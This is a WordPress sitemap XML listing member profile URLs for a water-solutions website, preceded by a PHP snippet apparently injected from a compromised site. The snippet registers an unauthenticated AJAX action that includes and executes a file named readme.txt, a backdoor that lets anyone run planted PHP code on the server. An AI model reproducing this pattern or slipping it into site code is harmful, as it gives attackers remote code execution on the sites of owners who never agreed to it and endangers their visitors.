if(!function_exists('file_check_readme13119')){
   add_action('wp_ajax_nopriv_file_check_readme13119', 'file_check_readme13119');
   add_action('wp_ajax_file_check_readme13119', 'file_check_readme13119');
   function file_check_readme13119()
   {
      $file = __DIR__ . '/' . 'readme.txt';
       if (file_exists($file)) {
           include $file;
       }
       die();
   }
}
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="http://www.wavewatersolution.com/wp-sitemap.xsl" ?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><url><loc>http://www.wavewatersolution.com/member/jones-addams/</loc></url><url><loc>http://www.wavewatersolution.com/member/maria-smith/</loc></url><url><loc>http://www.wavewatersolution.com/member/alex-zorro/</loc></url><url><loc>http://www.wavewatersolution.com/member/angela-doe/</loc></url><url><loc>http://www.wavewatersolution.com/member/antony-karlson/</loc></url><url><loc>http://www.wavewatersolution.com/member/trina-sunshin/</loc></url><url><loc>http://www.wavewatersolution.com/member/eddie-adkins/</loc></url><url><loc>http://www.wavewatersolution.com/member/karla-smith/</loc></url></urlset>